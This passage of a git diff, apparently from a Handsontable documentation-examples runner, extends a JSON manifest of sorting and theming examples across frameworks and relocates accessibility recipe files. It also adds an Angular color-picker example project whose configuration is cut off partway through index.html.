"guideTitle": "Rows sorting", + "exampleId": "exampleCustomSortIcons", + "exampleTitle": "Add custom sort icons", + "docPermalink": "/rows-sorting", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/javascript/exampleCustomSortIcons.ts", + "file": "guides__rows__rows-sorting__javascript__exampleCustomSortIcons.ts.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleCustomSortIcons", + "exampleTitle": "Add custom sort icons", + "docPermalink": "/rows-sorting", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/vue/exampleCustomSortIcons.vue", + "file": "guides__rows__rows-sorting__vue__exampleCustomSortIcons.vue.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleCustomSortIcons", + "exampleTitle": "Add custom sort icons", + "docPermalink": "/rows-sorting", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/javascript/exampleEnableSortingForColumns.js", + "file": "guides__rows__rows-sorting__javascript__exampleEnableSortingForColumns.js.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleEnableSortingForColumns", + "exampleTitle": "Enable sorting", + "docPermalink": "/rows-sorting", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/react/exampleEnableSortingForColumns.tsx", + "file": "guides__rows__rows-sorting__react__exampleEnableSortingForColumns.tsx.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleEnableSortingForColumns", + "exampleTitle": "Enable sorting", + "docPermalink": "/rows-sorting", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/javascript/exampleEnableSortingForColumns.ts", + "file": "guides__rows__rows-sorting__javascript__exampleEnableSortingForColumns.ts.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleEnableSortingForColumns", + "exampleTitle": "Enable sorting", + "docPermalink": "/rows-sorting", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/vue/exampleEnableSortingForColumns.vue", + "file": "guides__rows__rows-sorting__vue__exampleEnableSortingForColumns.vue.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleEnableSortingForColumns", + "exampleTitle": "Enable sorting", + "docPermalink": "/rows-sorting", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/javascript/exampleExcludeRowsFromSorting.js", + "file": "guides__rows__rows-sorting__javascript__exampleExcludeRowsFromSorting.js.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleExcludeRowsFromSorting", + "exampleTitle": "Exclude rows from sorting", + "docPermalink": "/rows-sorting", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/react/exampleExcludeRowsFromSorting.tsx", + "file": "guides__rows__rows-sorting__react__exampleExcludeRowsFromSorting.tsx.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleExcludeRowsFromSorting", + "exampleTitle": "Exclude rows from sorting", + "docPermalink": "/rows-sorting", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/javascript/exampleExcludeRowsFromSorting.ts", + "file": "guides__rows__rows-sorting__javascript__exampleExcludeRowsFromSorting.ts.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleExcludeRowsFromSorting", + "exampleTitle": "Exclude rows from sorting", + "docPermalink": "/rows-sorting", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/vue/exampleExcludeRowsFromSorting.vue", + "file": "guides__rows__rows-sorting__vue__exampleExcludeRowsFromSorting.vue.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleExcludeRowsFromSorting", + "exampleTitle": "Exclude rows from sorting", + "docPermalink": "/rows-sorting", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/javascript/exampleInitialSortOrder.js", + "file": "guides__rows__rows-sorting__javascript__exampleInitialSortOrder.js.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleInitialSortOrder", + "exampleTitle": "Set an initial multi-column sort order", + "docPermalink": "/rows-sorting", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/react/exampleInitialSortOrder.tsx", + "file": "guides__rows__rows-sorting__react__exampleInitialSortOrder.tsx.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleInitialSortOrder", + "exampleTitle": "Set an initial multi-column sort order", + "docPermalink": "/rows-sorting", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/javascript/exampleInitialSortOrder.ts", + "file": "guides__rows__rows-sorting__javascript__exampleInitialSortOrder.ts.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleInitialSortOrder", + "exampleTitle": "Set an initial multi-column sort order", + "docPermalink": "/rows-sorting", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/vue/exampleInitialSortOrder.vue", + "file": "guides__rows__rows-sorting__vue__exampleInitialSortOrder.vue.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleInitialSortOrder", + "exampleTitle": "Set an initial multi-column sort order", + "docPermalink": "/rows-sorting", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/javascript/exampleSortByAPIMultipleColumns.js", + "file": "guides__rows__rows-sorting__javascript__exampleSortByAPIMultipleColumns.js.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleSortByAPIMultipleColumns", + "exampleTitle": "Sort by multiple columns programmatically", + "docPermalink": "/rows-sorting", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/react/exampleSortByAPIMultipleColumns.tsx", + "file": "guides__rows__rows-sorting__react__exampleSortByAPIMultipleColumns.tsx.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleSortByAPIMultipleColumns", + "exampleTitle": "Sort by multiple columns programmatically", + "docPermalink": "/rows-sorting", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/javascript/exampleSortByAPIMultipleColumns.ts", + "file": "guides__rows__rows-sorting__javascript__exampleSortByAPIMultipleColumns.ts.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleSortByAPIMultipleColumns", + "exampleTitle": "Sort by multiple columns programmatically", + "docPermalink": "/rows-sorting", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/vue/exampleSortByAPIMultipleColumns.vue", + "file": "guides__rows__rows-sorting__vue__exampleSortByAPIMultipleColumns.vue.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleSortByAPIMultipleColumns", + "exampleTitle": "Sort by multiple columns programmatically", + "docPermalink": "/rows-sorting", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/javascript/exampleSortByAPI.js", + "file": "guides__rows__rows-sorting__javascript__exampleSortByAPI.js.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleSortByAPI", + "exampleTitle": "Sort data programmatically", + "docPermalink": "/rows-sorting", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/react/exampleSortByAPI.tsx", + "file": "guides__rows__rows-sorting__react__exampleSortByAPI.tsx.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleSortByAPI", + "exampleTitle": "Sort data programmatically", + "docPermalink": "/rows-sorting", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/javascript/exampleSortByAPI.ts", + "file": "guides__rows__rows-sorting__javascript__exampleSortByAPI.ts.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleSortByAPI", + "exampleTitle": "Sort data programmatically", + "docPermalink": "/rows-sorting", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/vue/exampleSortByAPI.vue", + "file": "guides__rows__rows-sorting__vue__exampleSortByAPI.vue.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleSortByAPI", + "exampleTitle": "Sort data programmatically", + "docPermalink": "/rows-sorting", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/javascript/exampleSortByMultipleColumns.js", + "file": "guides__rows__rows-sorting__javascript__exampleSortByMultipleColumns.js.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleSortByMultipleColumns", + "exampleTitle": "Sort by multiple columns", + "docPermalink": "/rows-sorting", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/react/exampleSortByMultipleColumns.tsx", + "file": "guides__rows__rows-sorting__react__exampleSortByMultipleColumns.tsx.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleSortByMultipleColumns", + "exampleTitle": "Sort by multiple columns", + "docPermalink": "/rows-sorting", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/javascript/exampleSortByMultipleColumns.ts", + "file": "guides__rows__rows-sorting__javascript__exampleSortByMultipleColumns.ts.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleSortByMultipleColumns", + "exampleTitle": "Sort by multiple columns", + "docPermalink": "/rows-sorting", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/vue/exampleSortByMultipleColumns.vue", + "file": "guides__rows__rows-sorting__vue__exampleSortByMultipleColumns.vue.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleSortByMultipleColumns", + "exampleTitle": "Sort by multiple columns", + "docPermalink": "/rows-sorting", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/javascript/exampleSortDifferentTypes.js", + "file": "guides__rows__rows-sorting__javascript__exampleSortDifferentTypes.js.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleSortDifferentTypes", + "exampleTitle": "Sort different types of data", + "docPermalink": "/rows-sorting", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/react/exampleSortDifferentTypes.tsx", + "file": "guides__rows__rows-sorting__react__exampleSortDifferentTypes.tsx.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleSortDifferentTypes", + "exampleTitle": "Sort different types of data", + "docPermalink": "/rows-sorting", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/javascript/exampleSortDifferentTypes.ts", + "file": "guides__rows__rows-sorting__javascript__exampleSortDifferentTypes.ts.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleSortDifferentTypes", + "exampleTitle": "Sort different types of data", + "docPermalink": "/rows-sorting", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/vue/exampleSortDifferentTypes.vue", + "file": "guides__rows__rows-sorting__vue__exampleSortDifferentTypes.vue.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleSortDifferentTypes", + "exampleTitle": "Sort different types of data", + "docPermalink": "/rows-sorting", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/javascript/exampleSortingDemo.js", + "file": "guides__rows__rows-sorting__javascript__exampleSortingDemo.js.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleSortingDemo", + "exampleTitle": "Sorting demo", + "docPermalink": "/rows-sorting", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/react/exampleSortingDemo.tsx", + "file": "guides__rows__rows-sorting__react__exampleSortingDemo.tsx.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleSortingDemo", + "exampleTitle": "Sorting demo", + "docPermalink": "/rows-sorting", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/javascript/exampleSortingDemo.ts", + "file": "guides__rows__rows-sorting__javascript__exampleSortingDemo.ts.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleSortingDemo", + "exampleTitle": "Sorting demo", + "docPermalink": "/rows-sorting", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/vue/exampleSortingDemo.vue", + "file": "guides__rows__rows-sorting__vue__exampleSortingDemo.vue.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleSortingDemo", + "exampleTitle": "Sorting demo", + "docPermalink": "/rows-sorting", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/styling/theme-customization/angular/example1.ts", + "file": "guides__styling__theme-customization__angular__example1.ts.json", + "breadcrumb": [ + "Styling", + "Theme Customization" + ], + "guide": "guides/styling/theme-customization/theme-customization.md", + "guideTitle": "Theme Customization", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/theme-customization", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/styling/theme-customization/javascript/example1.js", + "file": "guides__styling__theme-customization__javascript__example1.js.json", + "breadcrumb": [ + "Styling", + "Theme Customization" + ], + "guide": "guides/styling/theme-customization/theme-customization.md", + "guideTitle": "Theme Customization", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/theme-customization", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/styling/theme-customization/react/example1.tsx", + "file": "guides__styling__theme-customization__react__example1.tsx.json", + "breadcrumb": [ + "Styling", + "Theme Customization" + ], + "guide": "guides/styling/theme-customization/theme-customization.md", + "guideTitle": "Theme Customization", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/theme-customization", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/styling/theme-customization/javascript/example1.ts", + "file": "guides__styling__theme-customization__javascript__example1.ts.json", + "breadcrumb": [ + "Styling", + "Theme Customization" + ], + "guide": "guides/styling/theme-customization/theme-customization.md", + "guideTitle": "Theme Customization", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/theme-customization", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/styling/theme-customization/vue/example1.vue", + "file": "guides__styling__theme-customization__vue__example1.vue.json", + "breadcrumb": [ + "Styling", + "Theme Customization" + ], + "guide": "guides/styling/theme-customization/theme-customization.md", + "guideTitle": "Theme Customization", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/theme-customization", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/styling/theme-customization/angular/example2.ts", + "file": "guides__styling__theme-customization__angular__example2.ts.json", + "breadcrumb": [ + "Styling", + "Theme Customization" + ], + "guide": "guides/styling/theme-customization/theme-customization.md", + "guideTitle": "Theme Customization", + "exampleId": "example2", + "exampleTitle": "Theme API example", + "docPermalink": "/theme-customization", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/styling/theme-customization/javascript/example2.js", + "file": "guides__styling__theme-customization__javascript__example2.js.json", + "breadcrumb": [ + "Styling", + "Theme Customization" + ], + "guide": "guides/styling/theme-customization/theme-customization.md", + "guideTitle": "Theme Customization", + "exampleId": "example2", + "exampleTitle": "Theme API example", + "docPermalink": "/theme-customization", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/styling/theme-customization/react/example2.tsx", + "file": "guides__styling__theme-customization__react__example2.tsx.json", + "breadcrumb": [ + "Styling", + "Theme Customization" + ], + "guide": "guides/styling/theme-customization/theme-customization.md", + "guideTitle": "Theme Customization", + "exampleId": "example2", + "exampleTitle": "Theme API example", + "docPermalink": "/theme-customization", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/styling/theme-customization/javascript/example2.ts", + "file": "guides__styling__theme-customization__javascript__example2.ts.json", + "breadcrumb": [ + "Styling", + "Theme Customization" + ], + "guide": "guides/styling/theme-customization/theme-customization.md", + "guideTitle": "Theme Customization", + "exampleId": "example2", + "exampleTitle": "Theme API example", + "docPermalink": "/theme-customization", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/styling/theme-customization/vue/example2.vue", + "file": "guides__styling__theme-customization__vue__example2.vue.json", + "breadcrumb": [ + "Styling", + "Theme Customization" + ], + "guide": "guides/styling/theme-customization/theme-customization.md", + "guideTitle": "Theme Customization", + "exampleId": "example2", + "exampleTitle": "Theme API example", + "docPermalink": "/theme-customization", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/styling/themes/angular/example1.ts", + "file": "guides__styling__themes__angular__example1.ts.json", + "breadcrumb": [ + "Styling", + "Themes" + ], + "guide": "guides/styling/themes/themes.md", + "guideTitle": "Themes", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/themes", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/styling/themes/javascript/exampleTheme.js", + "file": "guides__styling__themes__javascript__exampleTheme.js.json", + "breadcrumb": [ + "Styling", + "Themes" + ], + "guide": "guides/styling/themes/themes.md", + "guideTitle": "Themes", + "exampleId": "exampleTheme", + "exampleTitle": "Built-in themes", + "docPermalink": "/themes", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/styling/themes/react/exampleTheme.tsx", + "file": "guides__styling__themes__react__exampleTheme.tsx.json", + "breadcrumb": [ + "Styling", + "Themes" + ], + "guide": "guides/styling/themes/themes.md", + "guideTitle": "Themes", + "exampleId": "exampleTheme", + "exampleTitle": "Built-in themes", + "docPermalink": "/themes", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/styling/themes/javascript/exampleTheme.ts", + "file": "guides__styling__themes__javascript__exampleTheme.ts.json", + "breadcrumb": [ + "Styling", + "Themes" + ], + "guide": "guides/styling/themes/themes.md", + "guideTitle": "Themes", + "exampleId": "exampleTheme", + "exampleTitle": "Built-in themes", + "docPermalink": "/themes", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/styling/themes/vue/exampleTheme.vue", + "file": "guides__styling__themes__vue__exampleTheme.vue.json", + "breadcrumb": [ + "Styling", + "Themes" + ], + "guide": "guides/styling/themes/themes.md", + "guideTitle": "Themes", + "exampleId": "exampleTheme", + "exampleTitle": "Built-in themes", + "docPermalink": "/themes", + "framework": "vue", + "displayName": "Vue 3" + } + ] +} diff --git a/runner/apps/authoring/public/docs-examples/recipes__accessibility__aria-grid__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__accessibility__aria-grid__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__accessibility__aria-grid__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__accessibility__aria-grid__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__accessibility__aria-grid__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__accessibility__aria-grid__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__accessibility__aria-grid__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__accessibility__aria-grid__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__accessibility__aria-grid__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__accessibility__aria-grid__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__accessibility__aria-grid__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__accessibility__aria-grid__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__accessibility__keyboard-shortcuts__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__accessibility__keyboard-shortcuts__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__accessibility__keyboard-shortcuts__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__accessibility__keyboard-shortcuts__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__accessibility__keyboard-shortcuts__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__accessibility__keyboard-shortcuts__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__accessibility__keyboard-shortcuts__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__accessibility__keyboard-shortcuts__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__accessibility__keyboard-shortcuts__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__accessibility__keyboard-shortcuts__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__accessibility__keyboard-shortcuts__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__accessibility__keyboard-shortcuts__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__color-picker__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__color-picker__angular__example1.ts.json new file mode 100644 index 00000000..c601c80f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__color-picker__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Recipes ▸ Cell Types ▸ Color picker · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\",\n \"@simonwep/pickr\": \"1.9.1\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
